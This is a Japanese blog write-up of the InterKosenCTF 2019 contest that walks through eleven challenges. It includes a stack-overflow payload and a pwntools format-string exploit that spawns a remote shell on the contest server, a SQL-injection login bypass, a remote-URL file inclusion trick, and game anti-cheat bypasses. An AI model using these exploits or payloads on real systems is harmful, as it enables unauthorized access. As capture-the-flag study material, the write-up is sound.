InterKosenCTF 2019 - Writeup
1月18日。徹夜明けで眠くて倒れそうになりながら家についたらこんなツイートが流れてきた。
開催時刻設定しておいて自動で始まる仕組みにしてたのに is_openをfalseにしたままにしてた阿呆がこちらですごめん #InterKosenCTF
— ふるちゅき (@theoldmoon0602) 2019年1月18日
「まぁ、問題だけ見てみるか。」という気分で開いてみたら楽しくなってきちゃった。結果としては全体7位・個人4位・高専内1位だった。やっぱり賞品ブーストはすごいよね。
お疲れ様でした!最終結果です!
— ptr-yudai (@ptrYudai) January 20, 2019
【全体】
1位: Stereo Sky Town - 4050pts
2位: Hirota Sora - 2550pts
3位: KimchiPower - 2550pts
【高専】
1位: proelbtn - 1650pts
2位: Jyoken - 1450pts
3位: 074m4K053n - 1350pts#InterKosenCTF pic.twitter.com/cY1HDT3G0E
というわけでWriteupしてみる。
目次
- 目次
- [Cheat 100pts] lights out
- [Cheat 250pts] anti cheat
- [Crypto 100pts] strengthened
- [Forensics 50pts] attack log
- [Forensics 200pts] conversation
- [Pwn 100pts] double check
- [Pwn 200pts] introduction
- [Reversing 100pts] flag generator
- [Reversing 200pts] flag checker
- [Web 100pts] Gimme Chocolate
- [Web 250pts] Login
- まとめ
[Cheat 100pts] lights out
問題文
Turn all the lights on.
解法
とにかく時間がかかった。Windows苦手。「もう無理ぽ。」ってなりながらふんばって解いた感じ。解きおわって考えてみると、確かに100ptなんだろうなって感じだった。
Windowsのことほとんど分からなさすぎて、このファイルが.NETなんだろうなってことしか分からない段階だったので、とりあえずデバッガを検索してみた。するとdnSpyというすごく良さそうなデバッガを見つけたのでダウンロードしてきた。
そして、これで配布されたゲームを起動してみる。そして、Break AtをEntry Pointにして実行した。
ハングル読めないけど、まぁ3行目なんだろうなと山を張ってStep Intoする。
すると、20x20のboolの配列が見えた。読めなくてもなんとなく「あぁ、これマップなんだろうな」という感じがする。privateなので、このクラスの中でその変数を参照している関数を見てみた。
すると、きっとクリアしたかを判定していそうな関数が見える。そして、その後にMessageBoxを表示させようとしている。これはきっと結果を表示させようとしているんだなと推測して表示させようとしている文字列を調べに行く。
すると、「あぁ、これがきっとフラグの元なんだろうな」という怪しい数列を見つける。その後に文字列に起こす処理も書いてある。
msg = [200, 223, 198, 210, 158, 149, 232, 159, 223, 216, 145, 155, 226, 149, 217, 238, 245, 232, 253, 247, 253, 235, 250, 198, 193, 199, 132, 197, 223, 212, 128, 217, 230, 242, 215, 237, 189, 224, 238, 235, 247, 240, 227, 181, 242, 180, 219, 202, 200, 196, 252, 224, 240, 171, 241, 244, 241, 167, 252, 253, 239, 200, 247, 253, 217, 223, 156, 148, 173, 128, 130, 138, 144, 130, 148, 148, 138, 134, 144, 140, 149, 149, 139, 216, 179, 158, 149, 147, 180, 156, 130, 156, 186, 158, 147, 157, 190, 184, 232, 134, 187, 187] for i, c in enumerate(msg): print(chr(c ^ i ^ 170))
これを実行すればフラグを得られる。
python test.py | xargs | sed 's/ //g' btn{0:D2}{1:D2}KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}Congratulations!MainFormLightsOut
解答
KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}
難読化を解くか、動的チートかを書いてあるけど、僕は「なんかよく分からないけど、『きっとこの処理ここに書いてあるんだろうなぁ』という勘」で解いてしまった気がする。正攻法じゃないんかな。
[Cheat 250pts] anti cheat
問題文
Get a super good score!
challenge
解法
エスパー要素が大きすぎる解法だけど、一応書いておく。
とりあえず遊んでみる。アクセスしてみるとこんな感じのゲームで遊べる。
左右の矢印キーで棒を傾けて落とさないようにがんばるゲームっぽい。
とりあえず点数ハックしたい。雰囲気的に1度に1点しか入らなさそうなので、ソースコードから"+ 1"や"++"や"+= 1"で検索をかけてみる。得点はただのインクリメントだろうと仮定すると、a = a + 1やa++, a += 1となるだろうと考えたからだ。そして、候補を1つ1つコンソールで見ながらゲームをしてみる。すると、_e3._r3に得点が保持されていることが分かる。なので、_e3._r3に適当な値を代入してみると次のような画面が出る。
はぁ、そりゃ250ptだもんな、そうだもんな。という気持ちになったけど、"CHEAT DETECTED"で検索をかけてみる。すると_S1という関数が見つかる。今度はこの関数を利用している場所を見つけるために"_S1"で検索する。すると次のような行が見つかる。
}, { _D: "gameguard", _f1: 1, _c1: !0, parent: -100, _w1: _Q1, _C1: _R1, _g1: _S1, _d1: [], _e1: [] }],
明らかに怪しいんだよなぁ。。。というObjectが見える。_Q1, _R1,\ _S1はすべて関数なので、それぞれを見てみる。
function _Q1(_Y2, _Z2) { { _Y2._M3 = 0 ? 1 : 0; } ; } function _R1(_Y2, _Z2) { { if (((_e3._r3 * _e3._r3) != global._q3)) { { _Y2._M3 = 1 ? 1 : 0; _e3._r3 = 0; _N3(_Y2, 1); } } else { { global._q3 = (_e3._r3 * _e3._r3); } } ; } ; } function _S1(_Y2, _Z2) { { if ((_Y2._M3 == 1)) { { _b3(255); _a3(1); _J3(1); _c3(0); _d3((_e3._f3 / 2), (_e3._K3 / 2), "CHEAT DETECTED!"); _J3(0); } } ; } ; }
これを見ると、_Y2._M3がフラグの役割をしていそうなことが分かる。_R1で何かを確認してフラグを立てている気がするので、_R1を次のように潰す。
}, { _D: "gameguard", _f1: 1, _c1: !0, parent: -100, _w1: _Q1, _C1: ()=>{}, _g1: _S1, _d1: [], _e1: [] }],
すると、_e3._r3への書き換えができるようになる。
解答
KOSENCTF{bASIc_buTSTrOng_AnTI_chEAT}
[Crypto 100pts] strengthened
問題文
If you choose a tiny e as an RSA public exponent key, it may have the Low Public Exponent Attack vulnerability. So, I strengthened it.
解法
問題文にLow Public Exponent Attackと書いてあるけど、そもそもそれすら知らなかったから辛みしかなかった。Low Public Exponent Attackについては下のリンクを見るとよく分かる。
今回はこの手法をちょっと応用してやればよい。 encrypt.pyより、\(M\)を6行目の時点でのmの値, \(c\), \(m\), \(e\), \(n\)を12行目の時点でのc, m, e, nの値, \(k\)を適当な自然数とすると、次のことがいえる。
$$ m = 2^k M $$
$$ c = m^e \mod n $$
$$ n \le m^e \lt 2^e n $$
\(n \le m^e\)の方は、while文を抜ける必要条件である。
\(m^e \lt 2^e n\)の方は、\(m^e \ge 2^e n\)と仮定すると、\(\left(\frac{m}{2}\right)^e \ge n\)より、\(\frac{m}{2}\)の時点でwhile文を抜けてしまうからである。
\(l\)を適当な整数として、上の式を変形していく。
$$ m^e = ln + c $$
$$ n \le ln + c \lt 2^e n $$
この変形と\(0 \le c \lt n\)より、\(1 \le l \lt 2^e\)がいえる。今回、eは3なので、\(1 \le l \lt 8\)となる。また、\(m = 2^k M\)より、\(m\)は\(2\)で割り切れる。よって、\(m^e\)は\(2^e = 8\)で割り切れる。これらを用いることで、\(m^e\)を求めることができる。
ここまで来たら、後はLow Public Exponent Attackと同様の方法を用いてmを求め、ひたすら2で割りながらdecodeしていけば良い。なのでこんなスクリプトをえいっとすると解答が出てくる。
import codecs import gmpy2 with open('encrypted') as f: exec(f.read()) # solve m^e for l in range(pow(2, e)): if (l * n + c) % (pow(2, e)) == 0: me = l * n + c print(f'me={me}') # solve m m, _ = gmpy2.iroot(me, e) print(f'm={m}') # solve M while m != 0: M = hex(m)[2:].encode('utf-8') try: M = codecs.decode(M, 'hex').decode('utf-8') break except: pass m = m >> 1 print(f'M={M}')
me=105311740325742980859942104707091180342805911957035657467818137022730454181076036779262237017787017049925349441259159342861847710615658093927109378944740198833467642007364002105409310950821681950249309627389494153310001846927690005596770204655415219153192197901168177869373506128629323319168192745974564595080462364946926806853052749073775857112170315195509206042580667047459312341751936510062789774783728325744305249127478243259376016154742430127166441013782896079903794673935480021552096754315358128780299840376042979007409800776140214488191271283821922828437138882711469377891209591452244768562107740303752437956608 m=47223582418329825209745914667971590820722714318452791326821588181662319399773846734427941516181423981487302118538346612769422888886822520261688728358369123097589459238242699552111899674856615315187592855552 M=KOSENCTF{THIS_ATTACK_DOESNT_WORK_WELL_PRACTICALLY}
解答
KOSENCTF{THIS_ATTACK_DOESNT_WORK_WELL_PRACTICALLY}
[Forensics 50pts] attack log
問題文
Someone seems to have tried breaking through our authentication. Find out if he or she made it to the end.
解法
認証って書いてあるし、50ptだしBasic認証だろうと思ったら、Basic認証だった。解答して出てきたpcapをWiresharkで開いてhttp.response.code == 200でフィルタする。その後、Follow HTTP Streamでリクエストを調べてやればよい。
解答
KOSENCTF{bRut3F0rc3W0rk3D}
おまけ
kosenlab.orgとかいうエモいドメインだったからwhoisしてみたけどドメイン取ってたわけではなかった。hostsに書いただけなんかな。
$ whois kosenlab.org NOT FOUND >>> Last update of WHOIS database: 2019-01-19T15:16:41Z <<< Access to Public Interest Registry WHOIS information is provided to assist persons in determining the contents of a domain name registration record in the Public Interest Registry registry database. The data in this record is provided by Public Interest Registry for informational purposes only, and Public Interest Registry does not guarantee its accuracy. This service is intended only for query-based access. You agree that you will use this data only for lawful purposes and that, under no circumstances will you use this data to (a) allow, enable, or otherwise support the transmission by e-mail, telephone, or facsimile of mass unsolicited, commercial advertising or solicitations to entities other than the data recipient's own existing customers; or (b) enable high volume, automated, electronic processes that send queries or data to the systems of Registry Operator, a Registrar, or Afilias except as reasonably necessary to register domain names or modify existing registrations. All rights reserved. Public Interest Registry reserves the right to modify these terms at any time. By submitting this query, you agree to abide by this policy. The Registrar of Record identified in this output may have an RDDS service that can be queried for additional information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.
お名前.comで調べたら1300円程度だし、誰か取ったらいいと思う(僕は取らないけどさ)。
[Forensics 200pts] conversation
問題文
We seized a smartphone which one of the suspects had used. Find out the conversation they had.
解法
これは普通に時間がかかった。正攻法がまるで分からなかった。
android_8.1_x86_oreo.tar.gzを解凍すると、android_8.1_x86_oreo.imgが出てくる。とりあえずfileで調べてみる。
$ file android_8.1_x86_oreo.img android_8.1_x86_oreo.img: Linux rev 1.0 ext4 filesystem data, UUID=57f8f4bc-abf4-655f-bf67-946fc0f9f25b (needs journal recovery) (extents) (large files)
ext4という部分も結構大きいですが、needs journal recoveryの方がもっと気になりますね。はじめは「qemuから起動するんかな?」と思ったが、うまく起動してくれない。冷静に考えたら1パーティションファイルが起動できるわけがない。
まずは、ファイルシステムをマウントしたい。そのために次のようなコマンドを用いてマウントする。
$ sudo losetup /dev/loop0 android_8.1_x86_oreo.img $ sudo e2fsck -y -b 32768 /dev/loop0 $ sudo mount /dev/loop0 /mnt
これで、/mntにマウントができた。タイトルがconversationだったのでmessagingに関連ありそうなファイルをひたすら調べていったが、いっくら調べても出てこない。どうしてこんなに出てこないのかというくらい出てこない。なので、Windowsを仮想環境にインストールし、FTK Imagerを用いて上から順にファイルの走査をしていったら/system_ce/0/snapshots/11.pngにあった。 多分、e2fsckの時点でいろいろ破壊していったんだろうと思うけど「うーん」っていう気分になってしまった。
解いた後に調べてみた感じだと、先頭にMBRをくっつけて適当なブートローダをつけてやれば起動できる可能性はある(だけど、ブートローダ書き込むためにe2fsckしてその時にファイルを破壊しそうなので上手く行くかとかは知らない)。
解答
KOSENCTF{7h3_4h7_0f_4ndr01d_f0r3n51c5}
[Pwn 100pts] double check
問題文
nc pwn.kosenctf.com 9100
解法
ソースコードもあるのですごくやりやすい。
とりあえず、いろいろ調べてみる。
$ file auth auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e687e6be8ff2e812431014cd77c446b65f32b3d8, not stripped
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
32bit, CANARY無効, PIE無効ということでバッファオーバーフローやリターンアドレス書き換え系なのかなと予想した。CANARYが無いと一発で攻略できるし楽。
それでソースコードを見てみると、70行目でフラグを表示していることが分かる。このコードを通るための条件をコードを遡りながら調べていく。フラグを表示させるためにはpasswordが分からないといけないが、76行目で丁寧にpasswordをnullで埋めているのでそれを利用する。つまり、次のような手順でフラグを奪取する。
- 最初のscanfでバッファオーバーフローさせてmain関数のリターンアドレスをmain関数の57行目に書き換える。
- 76行目でpasswordが0埋めされる。
- main関数の57行目に飛ぶ。
- 2回目のscanfで空白を入力する。
まずは、スタックのどこにリターンアドレスがあるのかを調べる。
[----------------------------------registers-----------------------------------] EAX: 0xffffcce0 --> 0x1 EBX: 0x0 ECX: 0xffffffff EDX: 0xf7fa5850 --> 0x0 ESI: 0xf7fa3e24 --> 0x1d8d2c EDI: 0xf7fa3e24 --> 0x1d8d2c EBP: 0xffffcd08 --> 0x0 ESP: 0xffffccd0 --> 0x8048978 --> 0x66007325 ('%s') EIP: 0x80487e0 (<main+87>: call 0x8048560 <__isoc99_scanf@plt>) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80487d1 <main+72>: lea eax,[esp+0x10] 0x80487d5 <main+76>: mov DWORD PTR [esp+0x4],eax 0x80487d9 <main+80>: mov DWORD PTR [esp],0x8048978 => 0x80487e0 <main+87>: call 0x8048560 <__isoc99_scanf@plt> 0x80487e5 <main+92>: mov DWORD PTR [esp+0x8],0x1f 0x80487ed <main+100>: lea eax,[esp+0x10] 0x80487f1 <main+104>: mov DWORD PTR [esp+0x4],eax 0x80487f5 <main+108>: mov DWORD PTR [esp],0x804a080 Guessed arguments: arg[0]: 0x8048978 --> 0x66007325 ('%s') arg[1]: 0xffffcce0 --> 0x1 [------------------------------------stack-------------------------------------] 0000| 0xffffccd0 --> 0x8048978 --> 0x66007325 ('%s') 0004| 0xffffccd4 --> 0xffffcce0 --> 0x1 0008| 0xffffccd8 --> 0x804a000 --> 0x8049f14 --> 0x1 0012| 0xffffccdc --> 0x8048902 (<__libc_csu_init+82>: add edi,0x1) 0016| 0xffffcce0 --> 0x1 0020| 0xffffcce4 --> 0xffffcda4 --> 0xffffcf7a ("/home/proelbtn/Downloads/double_check/auth") 0024| 0xffffcce8 --> 0xffffcdac --> 0xffffcfa5 ("XDG_SEAT=seat0") 0028| 0xffffccec --> 0xf7dfcb95 (<__cxa_atexit+37>: add esp,0x1c) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080487e0 in main () gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ ni Program received signal SIGALRM, Alarm clock. AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
[----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x0 ECX: 0x20 (' ') EDX: 0x804a0a0 --> 0x0 ESI: 0xf7fa3e24 --> 0x1d8d2c EDI: 0xf7fa3e24 --> 0x1d8d2c EBP: 0x41304141 ('AA0A') ESP: 0xffffcd10 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") EIP: 0x41414641 ('AFAA') EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414641 [------------------------------------stack-------------------------------------] 0000| 0xffffcd10 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0004| 0xffffcd14 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0008| 0xffffcd18 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0012| 0xffffcd1c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0016| 0xffffcd20 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0020| 0xffffcd24 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0024| 0xffffcd28 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0028| 0xffffcd2c ("AA4AAJAAfAA5AAKAAgAA6AAL") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41414641 in ?? () gdb-peda$ patto 0x41414641 1094796865 found at offset: 44
てなわけで44文字目からがリターンアドレスになることが分かった。
次に飛ばしたいアドレスを調べる。今回はmain関数の57行目に飛ばしたいので、一番最初のprintfの前(0x80487c5)に飛ばせばいいことが分かる。
80487b6: e8 45 fd ff ff call 8048500 <puts@plt> 80487bb: b8 01 00 00 00 mov $0x1,%eax 80487c0: e9 db 00 00 00 jmp 80488a0 <main+0x117> 80487c5: c7 04 24 6d 89 04 08 movl $0x804896d,(%esp) 80487cc: e8 df fc ff ff call 80484b0 <printf@plt> 80487d1: 8d 44 24 10 lea 0x10(%esp),%eax 80487d5: 89 44 24 04 mov %eax,0x4(%esp) 80487d9: c7 04 24 78 89 04 08 movl $0x8048978,(%esp) 80487e0: e8 7b fd ff ff call 8048560 <__isoc99_scanf@plt> 80487e5: c7 44 24 08 1f 00 00 movl $0x1f,0x8(%esp) 80487ec: 00 80487ed: 8d 44 24 10 lea 0x10(%esp),%eax 80487f1: 89 44 24 04 mov %eax,0x4(%esp) 80487f5: c7 04 24 80 a0 04 08 movl $0x804a080,(%esp) 80487fc: e8 6f fd ff ff call 8048570 <strncmp@plt> 8048801: 85 c0 test %eax,%eax 8048803: 75 0e jne 8048813 <main+0x8a>
後はコードを作るだけ。
$ printf "01234567890123456789012345678901234567890123\xc5\x87\x04\x8\n\0\0\0\0\n" | nc pwn.kosenctf.com 9100 Password: Invalid password. Password: KOSENCTF{s1mpl3-st4ck0v3rfl0w!} /home/pwn/redir.sh: line 2: 4341 Segmentation fault (core dumped) ./auth
解答
KOSENCTF{s1mpl3-st4ck0v3rfl0w!}
おまけ
これを解いたすぐ後にこんなツイートが流れてきた。僕はなめらかな床でしかpwnできない。
類似問題「32bit環境SSP無効ASLR無効とする」
— すとんりばー (@strvert) 2019年1月19日
僕「なめらかな床面上やめろ」
おまけ2
$ python -c "print('\0' * 44 + '\xc5\x87\x04\x08')" Å $ python -c "print('\0' * 44 + '\xc5\x87\x04\x08')" | hexdump -C 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000020 00 00 00 00 00 00 00 00 00 00 00 00 c3 85 c2 87 |................| 00000030 04 08 0a |...| 00000033
なんなんだ、そのc3 85 c2は?という気分になっていた。文字コードの問題っぽいのでそのうち調べる。
[Pwn 200pts] introduction
問題文
nc pwn.kosenctf.com 9200
解法
まずは下調べ。
introduction: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0b1f22387262614a5200653de20653fabd037978, not stripped
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : ENABLED RELRO : FULL
ソースコード見ても分かる通り、Format String Attackだろうと思って解答を進めた。libc-2.27.soも配布されていたのできっとなんかいい感じにしてほしいんだろうなとか考えてた。Format String Attackの概要はこのブログを見るほうがわかりやすいと思う。
2回printfがあるので、1回目でパラメータの調査, 2回目でFormat String Attackする。今回はGOTを書き換えるのではなく、mainのreturn addressを書き換えてsystem("/bin/sh")することを考える。
アドレスの特定
まずは、main関数のreturn addressを書き換えたいので、そのアドレスを調べなければならない。scanfで%1$pを入力してやると、bufferの先頭アドレスが手に入るので、それを基にmain関数からのreturn addressを調べてやればいい。僕はアセンブリよくわからないマンなので、gdbで動かしながら調べてみた。すると、オフセットが0x90だということが分かった。
次に、systemを呼ぶためにはsystemの開始アドレスを調べる必要がある。main関数からreturnする時に、__libc_start_main+241にreturnするので、そのアドレスを基に計算してやると良さそうだった。return addressは%43$pで取得できる。
なので、1回目のscanfでは"%1$p,%43$p"などと入力してやれば良さそう。
アドレスの書き換え
pwntoolsにはELFというクラスがあって、それを用いるとオフセットとかをあまり考えなくても直感的にコードが書けるので楽。また、fmtstr_payloadを用いると面倒なペイロード構築もやってくれてしまうので「あれ、僕なにしたんだっけ」ってなれます。
from pwn import * c = remote('pwn.kosenctf.com', 9200) libc = ELF('./libc-2.27.so') # "May I ask your name?" c.recvline() # "First Name: " c.recvuntil('First Name: ') # get libc address c.send('%1$p,%43$p\n') res = c.recvline().decode('utf-8').split(',') target_addr = int(res[0], 16) + 0x90 libc.address = int(res[1], 16) - libc.symbols[b'__libc_start_main'] - 241 writes = { target_addr: libc.symbols[b'system'], target_addr + 8: libc.address + 0x17b8cf } fs = fmtstr_payload(7, writes) print(len(fs)) c.send(fs) c.interactive()
$ ls flag introduction redir.sh $ cat flag KOSENCTF{lIbc-bAsE&ESp_lEAk+rET2lIbc_ThrOugh_FSB}$ $ uname -a Linux f3c85341e2d0 4.15.0-1021-aws #21-Ubuntu SMP Tue Aug 28 10:23:07 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux $ uptime 14:21:46 up 27 days, 7:47, 0 users, load average: 0.00, 0.00, 0.00
解答
KOSENCTF{lIbc-bAsE&ESp_lEAk+rET2lIbc_ThrOugh_FSB}
[Reversing 100pts] flag generator
問題文
This program generates the flag for you!!
解法
これに時間かけすぎた。ほんとに悲しみしかない。
#include <stdio.h> int r(int t) { return (t * 0x41c64e6d + 0x3039) & 0x7fffffff; } int main() { int l_38 = 0x25dc167e; int arr[20]; arr[0] = 0x608f5935; arr[1] = 0x57506194; arr[2] = 0x27365557; arr[3] = 0x54e3dea1; arr[4] = 0x755a4ed5; arr[5] = 0x17f42eb7; arr[6] = 0x4a4f9059; arr[7] = 0x1a08e827; arr[8] = 0x0d9d391f; arr[9] = 0x59e533aa; arr[10] = 0; for (int i = 0; i < 10; i++) { arr[i] ^= l_38; l_38 = r(l_38); } printf("%s", arr); }
解答
KOSENCTF{IS_THIS_REALLY_A_REVERSING?}
おまけ
radare2久しぶりに使ったけど、最高かもしれない。
[Reversing 200pts] flag checker
問題文
You should check your flag before your submission.
解法
revって解法を説明するのがすごく難しい。ざっくりいうと、argv[1]にある変換hを施した後に、0x402008から36バイトの文字列と比較してフラグの合否を判定している。そしてhでやっているのはこんな処理。
#define ROL8(val) ((val << 8) | (val >> 24)) char *s = argv[1]; unsigned int l_1c = 0xdec0c0de; unsigned int l_18 = 0; int l_14 = 8; while (l_14 >= 0) { l_18 = l_18 ^ ((int *)s)[l_14] ^ l_1c; ((int *)s)[l_14] = l_18; l_1c = ROL(l_1c, 8); l_14 -= 1; }
これを踏まえると、次のようなデコーダが書ける。
#include <stdio.h> #include <string.h> char msg[100] = "\x9f\xc9\xd7\xc2\xa\x46\x44\x59\x84\xc5\xce\xc1\x3f\x4f\x5f\x4e\xbe\xd4\xde\xdd\x39\x4b\x4a\x4c\xa6\xcf\xd1\xd1\x29\x55\x4a\x4e\xa3\xc3\xc3\xdd\0"; #define ROL(val) ((val >> 24) | (val << 8)) int main() { unsigned int l_1c = 0xdec0c0de, l_18 = 0; printf("strlen(msg) == %d\n", strlen(msg)); for (int i = 0; i < 8; i++) { ((int *)msg)[i] ^= ((int *)msg)[i + 1]; } for (int i = 8; i >= 0; i--) { ((int *)msg)[i] ^= l_1c; l_1c = ROL(l_1c); } printf("FLAG is %s\n", msg); }
[Web 100pts] Gimme Chocolate
問題文
challenge
解法
これは楽しい問題。ソースコードを見るとbrainf*ckのインタプリタがあって、"Give Me a Chocolate!!"という文字列を出力させればいい事が分かる。なので次のコードを利用して生成したコードをアップロードしてみた。
だが、Give Meまでしか表示されない。ソースコードを見てみると、100bytesしか書き込んでいないことが分かる。100bytesで出力できるかもしれないとも考えたが僕にはその技量はないので、ソースコードを読み進めていくと、file_get_contentsという関数でファイルを開いていることが分かる。なので、PHPのリファレンスを見てみる。
すると、Example #1に「Get and output the source of the homepage of a website」という項目がある。ファイル名だけでなく、URLを渡すこともできるらしい。なので、適当なサービス(Gistとか)にbrainf*ckのコードをアップロードし、fileの引数にそのURLを渡してやればよい。
$ curl 'http:/web.kosenctf.com:8100?execute&file=https://gist.githubusercontent.com/proelbtn/40baaf77996da82a9d2521a243f9cf94/raw/b13eb393b3676cb3c0228f32537b4f5d7f06dec8/main.bf' | grep KOSENCTF % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 3438 100 3438 0 0 12105 0 --:--:-- --:--:-- --:--:-- 12105 <div class="ms-alert ms-green">KOSENCTF{CIO_CHOCOLATEx2_CHOx3_IIYONE}</div>
解答
KOSENCTF{CIO_CHOCOLATEx2_CHOx3_IIYONE}
[Web 250pts] Login
問題文
challenge
解法
どう見てもただのSQL Injection。ただ、その直後にmd5($rows[0]['password']) == md5($password)がある。adminのパスワードは既知でないので、パスワードが分かるユーザをrows[0]に持ってこなければならない。幸い、ユーザは自由に作ることができるので問題ない。次のようなSQLを考えてみる。
select username, password from users where username='admin' and password='' or username='ppppp' and '' = ''
これの場合、usernameはadminにしたまま、別のユーザ(ppppp)をヒットさせることができる。
まず、usernameがppppp, passwordが' or username='ppppp' and '' = 'のユーザを作る。そして、usernameはadminで, passwordは' or username='ppppp' and '' = 'で送信すればよい。そうすればフラグを奪取することができる。
解答
KOSENCTF{I_DONT_HAVE_ANY_APTITUDE_FOR_MAKING_A_WEB_CHALLENGE_SORRY}
おまけ
SQLインジェクションって、このパズルを解く感じがゾクゾクするよね。まさにこれ。個人的には、こういった直接バイパスするようなSQLインジェクションよりブラインドSQLインジェクションの方が面倒くさくだるいと思うので、usleepを入れた意味がなんとも分からないなと思った。完全な対策というわけじゃないし(まぁ5秒待つとかだるすぎるけど)。
まとめ
概して楽しかった。解いてる間ずっとこんなになってた。
けど解き終わってからのダウン感がすごい。久しぶりに頑張ったって感じがする。
課研と編入試験もこの調子で頑張らねば。。。